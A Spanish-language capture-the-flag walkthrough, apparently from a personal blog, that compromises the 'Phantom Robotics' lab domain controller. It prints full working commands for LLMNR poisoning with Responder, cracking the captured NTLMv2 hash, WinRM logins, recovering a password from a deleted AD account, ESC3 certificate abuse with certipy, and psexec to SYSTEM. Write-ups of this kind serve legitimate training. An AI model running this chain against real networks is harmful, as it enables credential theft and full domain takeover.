Skip to content
Mnohh022
Go back

Phantom Robotics

logo

Table of contents

Open Table of contents

Enumeración

La máquina Phantom Robotics tiene la ip 192.168.56.100

Disponemos de las credenciales mark:suP3rPa$sw0rd2026!&

Descubrimiento de Puertos

Vamos a empezar enumerando todos los puertos abiertos de la máquina, así como los servicios y las versiones que se están ejecutando en ellos mediante la herramienta nmap.

nmap -sS -p- --open -sCV --min-rate 5000 -n -Pn 192.168.56.100

Nmap scan report for 192.168.56.100
Host is up (0.00043s latency).
Not shown: 65514 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Simple DNS Plus
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2026-05-15 07:43:59Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: PHANTOM.THL, Site: Default-First-Site-Name)
|_ssl-date: 2026-05-15T07:45:26+00:00; +2s from scanner time.
| ssl-cert: Subject: commonName=DC01.PHANTOM.THL
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.PHANTOM.THL
| Not valid before: 2026-02-21T23:24:38
|_Not valid after:  2027-02-21T23:24:38
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: PHANTOM.THL, Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC01.PHANTOM.THL
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.PHANTOM.THL
| Not valid before: 2026-02-21T23:24:38
|_Not valid after:  2027-02-21T23:24:38
|_ssl-date: 2026-05-15T07:45:26+00:00; +2s from scanner time.
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: PHANTOM.THL, Site: Default-First-Site-Name)
|_ssl-date: 2026-05-15T07:45:26+00:00; +2s from scanner time.
| ssl-cert: Subject: commonName=DC01.PHANTOM.THL
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.PHANTOM.THL
| Not valid before: 2026-02-21T23:24:38
|_Not valid after:  2027-02-21T23:24:38
3269/tcp  open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: PHANTOM.THL, Site: Default-First-Site-Name)
|_ssl-date: 2026-05-15T07:45:26+00:00; +2s from scanner time.
| ssl-cert: Subject: commonName=DC01.PHANTOM.THL
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.PHANTOM.THL
| Not valid before: 2026-02-21T23:24:38
|_Not valid after:  2027-02-21T23:24:38
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
9389/tcp  open  mc-nmf        .NET Message Framing
49664/tcp open  msrpc         Microsoft Windows RPC
49667/tcp open  msrpc         Microsoft Windows RPC
49668/tcp open  msrpc         Microsoft Windows RPC
57865/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
57866/tcp open  msrpc         Microsoft Windows RPC
57876/tcp open  msrpc         Microsoft Windows RPC
57885/tcp open  msrpc         Microsoft Windows RPC
57895/tcp open  msrpc         Microsoft Windows RPC
MAC Address: 08:00:27:7B:2B:07 (Oracle VirtualBox virtual NIC)
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode: Antes de ello, vamos a a
|   3.1.1: 
|_    Message signing enabled and required
| smb2-time: 
|   date: 2026-05-15T07:44:46
|_  start_date: N/A
|_clock-skew: mean: 1s, deviation: 0s, median: 1s
|_nbstat: NetBIOS name: DC01, NetBIOS user: <unknown>, NetBIOS MAC: 08:00:27:7b:2b:07 (Oracle VirtualBox virtual NIC)

Añadimos los dominios PHANTOM.THL y DC01.PHANTOM.THL con la ip al /etc/hosts

echo '192.168.56.100 PHANTOM.THL DC01.PHANTOM.THL' | tee -a /etc/hosts

Puerto 139 y 445 (SMB)

Vamos a utilizar NetExec para enumerar el contenido del smb con las credenciales del usuario mark.

nxc smb 192.168.56.100 -u mark -p  'suP3rPa$sw0rd2026!&' --shares

SMB         192.168.56.100  445    DC01             [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:PHANTOM.THL) (signing:True) (SMBv1:None) (Null Auth:True)
SMB         192.168.56.100  445    DC01             [+] PHANTOM.THL\mark:suP3rPa$sw0rd2026!& 
SMB         192.168.56.100  445    DC01             [*] Enumerated shares
SMB         192.168.56.100  445    DC01             Share           Permissions     Remark
SMB         192.168.56.100  445    DC01             -----           -----------     ------
SMB         192.168.56.100  445    DC01             ADMIN$                          Admin remota
SMB         192.168.56.100  445    DC01             C$                              Recurso predeterminado
SMB         192.168.56.100  445    DC01             Dev Tools       READ,WRITE      Dev Tools
SMB         192.168.56.100  445    DC01             IPC$            READ            IPC remota
SMB         192.168.56.100  445    DC01             NETLOGON        READ            Recurso compartido del servidor de inicio de sesi¢n 
SMB         192.168.56.100  445    DC01             SYSVOL          READ            Recurso compartido del servidor de inicio de sesi¢n

Vemos que nuestro usuario tiene permisos de lectura y escritura en el directorio Dev Tools, por lo que nos conectamos al smb para ver el contenido del directorio.

 smbclient '//192.168.56.100/Dev Tools' -U mark                                  
Password for [WORKGROUP\mark]:

Try "help" to get a list of possible commands.
smb: \> dir
  .                                   D        0  Fri May 15 03:52:55 2026
  ..                                  D        0  Sat Feb 21 12:29:29 2026

                12935167 blocks of size 4096. 9860825 blocks available

Está vacío.

Puerto 135 (RPC)

Vamos a conectarnos como el usuario mark al Remote Procedure Call (RPC), este protocolo permite a un programa de un sistema ejecutar un procedimiento o código en otro sistema remoto.

Una vez conectados listaremos los usuarios del dominio.

rpcclient 192.168.56.100 -U mark
Password for [WORKGROUP\mark]:

rpcclient $> enumdomusers

user:[Administrador] rid:[0x1f4]
user:[Invitado] rid:[0x1f5]
user:[krbtgt] rid:[0x1f6]
user:[mark] rid:[0x44f]
user:[bob] rid:[0x450]
user:[joe] rid:[0x451]
user:[mia] rid:[0x452]
user:[sandra] rid:[0x453]
user:[maria] rid:[0x454]
user:[ana] rid:[0x455]
user:[michael] rid:[0x456]
user:[ian] rid:[0x457]
user:[joshua] rid:[0x458]
user:[frank] rid:[0x459]
user:[tomas] rid:[0x45b]
user:[robert] rid:[0x45c]
user:[LegacyAdmins] rid:[0x464]

Ya tenemos a los usuarios del dominio, podemos ejecutar un ataque de fuerza bruta con esos usuarios pero no nos va a servir. Los usuarios nos harán falta más adelante.

Explotación

LLMNR/NBT-NS Poisoning

Link-Local Multicast Name Resolution (LLMNR) y NetBIOS Name Service (NBT-NS) son protocoles de Windows de resolución de nombres usados cuando el DNS falla o no existe.

Dichos protocolos habilitados suponen un riesgo de seguridad, ya que, si un usuario intenta acceder a un recurso inexistente del dominio, un atacante podría aprovechar estos protocolos para responder a la solicitud de resolución de nombres, suplantando dicho recurso y provocando que la víctima envíe su NTLM hash al atacante.

Por lo tanto, vamos a emplear responder en la interfaz de red en la que se encuentra la máquina para envenenar las solicitudes de ambos protocolos. Sólo nos queda esperar a que algún usuario acceda a un recurso erróneo y así nosotros suplantaremos dicho recurso para obtener el NTLM hash del usuario.

sudo responder -I eth1

[*] Version: Responder 3.2.2.0
[*] Author: Laurent Gaffie, <lgaffie@secorizon.com>

[+] Listening for events...                                                                                                                                 
[SMB] NTLMv2-SSP Client   : fe80::f0af:d5ce:c78d:246e
[SMB] NTLMv2-SSP Username : PHANTOM.LOCAL\robert
[SMB] NTLMv2-SSP Hash     : robert::PHANTOM.LOCAL:c0e120381dc543cf:F410978497B9546C6E99C88E5FECCB79:0101000000000000802EC71822E4DC016E80BF771387372A000000000200080052004A004100520001001E00570049004E002D003500420044003200580033005A004A0048004300590004003400570049004E002D003500420044003200580033005A004A004800430059002E0052004A00410052002E004C004F00430041004C000300140052004A00410052002E004C004F00430041004C000500140052004A00410052002E004C004F00430041004C0007000800802EC71822E4DC01060004000200000008003000300000000000000000000000003000009DB17DE7E5268F635DA7E410B883C9D401F288AF60293005F4FAB03FD5ADCD620A001000000000000000000000000000000000000900240063006900660073002F005000480041004E0054004F004D002E004C004F00430041004C000000000000000000

Obtenemos el NTLM hash del usuario robert y empleamos John The Ripper y el diccionario rockyou para romperlo.

Nota: Guardar el hash completo, es decir, desde robert::PHANTOM.LOCAL hasta el final.

john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt 

Using default input encoding: UTF-8
Loaded 1 password hash (netntlmv2, NTLMv2 C/R [MD4 HMAC-MD5 32/64])
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
bLink182         (robert)     
Use the "--show --format=netntlmv2" options to display all of the cracked passwords reliably
Session completed.

Acceso Winrm

Robert

Ya tenemos las credenciales robert:bLink182, vamos a probar si podemos conectarnos al winrm (puerto 5985) con ellas.

nxc winrm 192.168.56.100 -u robert -p bLink182

WINRM       192.168.56.100  5985   DC01             [*] Windows Server 2022 Build 20348 (name:DC01) (domain:PHANTOM.THL) 
/usr/lib/python3/dist-packages/spnego/_ntlm_raw/crypto.py:46: CryptographyDeprecationWarning: ARC4 has been moved to cryptography.hazmat.decrepit.ciphers.algorithms.ARC4 and will be removed from cryptography.hazmat.primitives.ciphers.algorithms in 48.0.0.
  arc4 = algorithms.ARC4(self._key)
WINRM       192.168.56.100  5985   DC01             [+] PHANTOM.THL\robert:bLink182 (Pwn3d!)

NetExec nos indica que las credenciales son válidas, así que, vamos a conectarnos al winrm usando evil-winrm.

evil-winrm -i 192.168.56.100 -u robert -p bLink182                                        

*Evil-WinRM* PS C:\Users\robert\Documents> whoami
phantom\robert
*Evil-WinRM* PS C:\Users\robert\Documents> dir ../Desktop
    Directorio: C:\Users\robert\Desktop
Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
-a----         2/22/2026   3:01 AM             33 user.txt

Movimiento Lateral

Tomas

Dentro del directorio Documents de robert vemos un archivo migration_notes.txt

[OK] Verify application connectivity after the ERP migration

Validate that legacy authentication is still working for internal tools

Review Active Directory group memberships (DevOps / Support)

[OK] Confirm that backup jobs are running correctly

Check access permissions on shared resources

[IMPORTANT] Remember to clean up temporary test accounts created during the migration

Remove unused scripts and obsolete configurations

[OK] Verify expiration and renewal of internal certificates

Document performed steps and lessons learned from the migration

El archivo es un listado de operaciones que se han realizado durante una migración del sistema, se indica como importante la eliminación de cuentas temporales creadas durante la migración.

Aquí entra en juego el concepto tombstone que es el estado en el que queda un objeto después de haber sido eliminado en un AD antes de desaparecer por completo, es decir, al borrar un objeto en AD no se borra directamente, sino que se genera un tombstone que permanecerá activo durante un tiempo determinada.

Por lo tanto, vamos a acceder al contenido de este tombstone, como estos objetos poseen un atributo isDeleted=TRUE vamos a listar los objetos con ese atributo.

*Evil-WinRM* PS C:\Users\robert\Documents> Get-ADObject -Filter 'isDeleted -eq $true' -IncludeDeletedObjects -Property * | Format-List Name,ObjectGUID,Deleted,DistinguishedName

Name              : Deleted Objects
ObjectGUID        : 63e0d32e-2125-40ad-8405-c87b353e09b9
Deleted           : True
DistinguishedName : CN=Deleted Objects,DC=PHANTOM,DC=THL

Name              : dev_test
                    DEL:55a7bc61-fdc9-4ecc-bec5-25703d9ee855
ObjectGUID        : 55a7bc61-fdc9-4ecc-bec5-25703d9ee855
Deleted           : True
DistinguishedName : CN=dev_test\0ADEL:55a7bc61-fdc9-4ecc-bec5-25703d9ee855,CN=Deleted Objects,DC=PHANTOM,DC=THL

Vemos un objeto con el nombre dev_test que nos encaja como un nombre de una cuenta temporal. Ahora sacamos las propiedades de ese objeto.


*Evil-WinRM* PS C:\Users\robert\Documents> Get-ADObject -IncludeDeletedObjects -Filter * -Properties * | Where-Object {$_.Name -like "*dev_test*"} | Format-List *

accountExpires                  : 9223372036854775807
badPasswordTime                 : 0
badPwdCount                     : 0
CanonicalName                   : PHANTOM.THL/Deleted Objects/dev_test
                                  DEL:55a7bc61-fdc9-4ecc-bec5-25703d9ee855
CN                              : dev_test
                                  DEL:55a7bc61-fdc9-4ecc-bec5-25703d9ee855
codePage                        : 0
countryCode                     : 0
Created                         : 2/21/2026 6:09:48 PM
createTimeStamp                 : 2/21/2026 6:09:48 PM
Deleted                         : True
Description                     : f6Y%UPa6ZB9eR5wG9$an
DisplayName                     : dev_test
DistinguishedName               : CN=dev_test\0ADEL:55a7bc61-fdc9-4ecc-bec5-25703d9ee855,CN=Deleted Objects,DC=PHANTOM,DC=THL
dSCorePropagationData           : {2/21/2026 8:23:32 PM, 1/1/1601 1:00:04 AM}
givenName                       : dev_test
instanceType                    : 4
isDeleted                       : True
LastKnownParent                 : CN=Users,DC=PHANTOM,DC=THL
lastLogoff                      : 0
lastLogon                       : 0
logonCount                      : 0
Modified                        : 2/21/2026 7:16:40 PM
modifyTimeStamp                 : 2/21/2026 7:16:40 PM
msDS-LastKnownRDN               : dev_test
Name                            : dev_test
                                  DEL:55a7bc61-fdc9-4ecc-bec5-25703d9ee855
nTSecurityDescriptor            : System.DirectoryServices.ActiveDirectorySecurity
ObjectCategory                  :
ObjectClass                     : user
ObjectGUID                      : 55a7bc61-fdc9-4ecc-bec5-25703d9ee855
objectSid                       : S-1-5-21-3580157585-956322742-780763674-1114
primaryGroupID                  : 513
ProtectedFromAccidentalDeletion : False
pwdLastSet                      : 134161673885023278
sAMAccountName                  : dev_test
sDRightsEffective               : 0
userAccountControl              : 66048
userPrincipalName               : dev_test@PHANTOM.THL
uSNChanged                      : 12981
uSNCreated                      : 12845
whenChanged                     : 2/21/2026 7:16:40 PM
whenCreated                     : 2/21/2026 6:09:48 PM
PropertyNames                   : {accountExpires, badPasswordTime, badPwdCount, CanonicalName...}
AddedProperties                 : {}
RemovedProperties               : {}
ModifiedProperties              : {}
PropertyCount                   : 41

En el campo description vemos un string que podrían ser una contraseña, así que, vamos a usar los usuarios que sacamos anteriormente para comprobar si pertenece a alguno de ellos.

nxc winrm 192.168.56.100 -u users.txt -p 'f6Y%UPa6ZB9eR5wG9$an'

WINRM       192.168.56.100  5985   DC01             [+] PHANTOM.THL\tomas:f6Y%UPa6ZB9eR5wG9$an (Pwn3d!)

Ya nos podemos conectar como tomas.

Administrador

Vamos a enumerar el AD utilizando ADPulse.

Lo instalamos siguiendo las instrucciones y lo usamos sobre el AD con las credenciales del usuario tomas.

python3 ADPulse.py --domain PHANTOM.THL --user tomas --password 'f6Y%UPa6ZB9eR5wG9$an' --dc-ip 192.168.56.100
...
[HIGH] [ADCS]  ESC3 - Enrollment Agent Templates
    5 enrollment agent template(s) without approval.
      * EnrollmentAgent
      * EnrollmentAgentOffline
      * MachineEnrollmentAgent
      * CEPEncryption
      * Phantom-DevAuth (enrollees: tomas (user))
    >> Enable manager approval on enrollment agent templates.
....

Nos indica muchas vulnerabilidades pero vamos a explotar la ESC3 (Enrollment Agent Templates), la cual permite a un atacante sin privilegios escalar a Administrador del Dominio.

Para realizar este ataque vamos a seguir un post del creador de esta máquina d4redevil, que explica como explotar esta vulnerabilidad.

Primero enumeramos los certificados vulnerables de los Servicios de Certificados de Active Directory (AD CS).

certipy-ad find -u 'tomas@phantom.thl' -p 'f6Y%UPa6ZB9eR5wG9$an' -dc-ip 192.168.56.100 -vulnerable -stdout

Certipy v5.0.4 - by Oliver Lyak (ly4k)

[*] Finding certificate templates
[*] Found 34 certificate templates
[*] Finding certificate authorities
[*] Found 1 certificate authority
[*] Found 12 enabled certificate templates
[*] Finding issuance policies
[*] Found 14 issuance policies
[*] Found 0 OIDs linked to templates
[*] Retrieving CA configuration for 'PHANTOM-DC01-CA' via RRP
[!] Failed to connect to remote registry. Service should be starting now. Trying again...
[*] Successfully retrieved CA configuration for 'PHANTOM-DC01-CA'
[*] Checking web enrollment for CA 'PHANTOM-DC01-CA' @ 'DC01.PHANTOM.THL'
[!] Error checking web enrollment: timed out
[!] Use -debug to print a stacktrace
[!] Error checking web enrollment: timed out
[!] Use -debug to print a stacktrace
[*] Enumeration output:
Certificate Authorities
  0
    CA Name                             : PHANTOM-DC01-CA
    DNS Name                            : DC01.PHANTOM.THL
    Certificate Subject                 : CN=PHANTOM-DC01-CA, DC=PHANTOM, DC=THL
    Certificate Serial Number           : 161A58313EFA72A045F730EFC3CFED39
    Certificate Validity Start          : 2026-02-21 23:23:37+00:00
    Certificate Validity End            : 2031-02-21 23:33:37+00:00
    Web Enrollment
      HTTP
        Enabled                         : False
      HTTPS
        Enabled                         : False
    User Specified SAN                  : Disabled
    Request Disposition                 : Issue
    Enforce Encryption for Requests     : Enabled
    Active Policy                       : CertificateAuthority_MicrosoftDefault.Policy
    Permissions
      Owner                             : PHANTOM.THL\Administrators
      Access Rights
        ManageCa                        : PHANTOM.THL\Administrators
                                          PHANTOM.THL\Admins. del dominio
                                          PHANTOM.THL\Administradores de empresas
        ManageCertificates              : PHANTOM.THL\Administrators
                                          PHANTOM.THL\Admins. del dominio
                                          PHANTOM.THL\Administradores de empresas
        Enroll                          : PHANTOM.THL\Authenticated Users
Certificate Templates
  0
    Template Name                       : Phantom-DevAuth
    Display Name                        : Phantom-DevAuth
    Certificate Authorities             : PHANTOM-DC01-CA
    Enabled                             : True
    Client Authentication               : False
    Enrollment Agent                    : True
    Any Purpose                         : False
    Enrollee Supplies Subject           : False
    Certificate Name Flag               : SubjectAltRequireUpn
                                          SubjectRequireDirectoryPath
    Enrollment Flag                     : AutoEnrollment
    Extended Key Usage                  : Certificate Request Agent
    Requires Manager Approval           : False
    Requires Key Archival               : False
    Authorized Signatures Required      : 0
    Schema Version                      : 2
    Validity Period                     : 2 years
    Renewal Period                      : 6 weeks
    Minimum RSA Key Length              : 2048
    Template Created                    : 2026-02-21T23:36:09+00:00
    Template Last Modified              : 2026-02-21T23:37:14+00:00
    Permissions
      Enrollment Permissions
        Enrollment Rights               : PHANTOM.THL\Tomas
                                          PHANTOM.THL\Admins. del dominio
                                          PHANTOM.THL\Administradores de empresas
      Object Control Permissions
        Owner                           : PHANTOM.THL\Administrador
        Full Control Principals         : PHANTOM.THL\Admins. del dominio
                                          PHANTOM.THL\Administradores de empresas
        Write Owner Principals          : PHANTOM.THL\Admins. del dominio
                                          PHANTOM.THL\Administradores de empresas
        Write Dacl Principals           : PHANTOM.THL\Admins. del dominio
                                          PHANTOM.THL\Administradores de empresas
        Write Property Enroll           : PHANTOM.THL\Admins. del dominio
                                          PHANTOM.THL\Administradores de empresas
    [+] User Enrollable Principals      : PHANTOM.THL\Tomas
    [!] Vulnerabilities
      ESC3                              : Template has Certificate Request Agent EKU set.

La enumeración nos confirma que es vulnerable a ESC3, además, vamos a necesitar tanto el CA Name como el Template Name.

Ahora vamos a solicitar un certificado para tomas.

certipy-ad req -u 'tomas@PHANTOM.THL' -p 'f6Y%UPa6ZB9eR5wG9$an' -dc-ip 192.168.56.100 -ca PHANTOM-DC01-CA -template Phantom-DevAuth

Certipy v5.0.4 - by Oliver Lyak (ly4k)

[*] Requesting certificate via RPC
[*] Request ID is 12
[*] Successfully requested certificate
[*] Got certificate with UPN 'tomas@PHANTOM.THL'
[*] Certificate has no object SID
[*] Try using -sid to set the object SID or see the wiki for more details
[*] Saving certificate and private key to 'tomas.pfx'
[*] Wrote certificate and private key to 'tomas.pfx'

Ya tenemos el certificado de tomas. Ahora, vamos a aprovecharnos de la confianza de la Certification Authority (CA) en este certificado para solicitar y emitir un nuevo certificado a nombre del administrador.

certipy-ad req -u 'tomas@PHANTOM.THL' -p 'f6Y%UPa6ZB9eR5wG9$an' -dc-ip 192.168.56.100 -ca PHANTOM-DC01-CA -template 'User' -on-behalf-of 'administrador' -pfx tomas.pfx

Certipy v5.0.4 - by Oliver Lyak (ly4k)

[*] Requesting certificate via RPC
[*] Request ID is 13
[*] Successfully requested certificate
[*] Got certificate with UPN 'administrador@PHANTOM.THL'
[*] Certificate has no object SID
[*] Try using -sid to set the object SID or see the wiki for more details
[*] Saving certificate and private key to 'administrador.pfx'
[*] Wrote certificate and private key to 'administrador.pfx'

Obtenemos el certificado a nombre del administrador y nos autenticamos con él.

certipy-ad auth -pfx administrador.pfx -username administrador -domain PHANTOM.THL -dc-ip 192.168.56.100

Certipy v5.0.4 - by Oliver Lyak (ly4k)

[*] Certificate identities:
[*]     SAN UPN: 'administrador@PHANTOM.THL'
[*] Using principal: 'administrador@phantom.thl'
[*] Trying to get TGT...
[*] Got TGT
[*] Saving credential cache to 'administrador.ccache'
[*] Wrote credential cache to 'administrador.ccache'
[*] Trying to retrieve NT hash for 'administrador'
[*] Got hash for 'administrador@phantom.thl': aad3b435b51404eeaad3b435b51404ee:dda94fc1fe08ac45c2cc490404651162

Esto nos genera Ticket Granting Ticket (TGT), es un pase temporal expedido por Kerberos que nos permite conectarnos a un dominio sin proporcionar contraseña. Empleamos el TGT para conectarnos al Domain Controller como el usuario administrador.

KRB5CCNAME=administrador.ccache impacket-psexec -k -no-pass DC01.PHANTOM.THL                            

Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies 

[*] Requesting shares on DC01.PHANTOM.THL.....
[*] Found writable share ADMIN$
[*] Uploading file iPMCpQpd.exe
[*] Opening SVCManager on DC01.PHANTOM.THL.....
[*] Creating service RrdA on DC01.PHANTOM.THL.....
[*] Starting service RrdA.....
[!] Press help for extra shell commands
[-] Decoding error detected, consider running chcp.com at the target,
map the result with https://docs.python.org/3/library/codecs.html#standard-encodings
and then execute smbexec.py again with -codec and the corresponding codec
Microsoft Windows [Version 10.0.20348.587]

(c) Microsoft Corporation. Todos los derechos reservados.

C:\Windows\system32> whoami
nt authority\system

C:\Windows\system32> dir C:\Users\Administrador\Desktop

 Directorio de C:\Users\Administrador\Desktop

22/02/2026  04:01    <DIR>          .
29/03/2026  00:04    <DIR>          ..
22/02/2026  04:01                33 root.txt

Share this post on: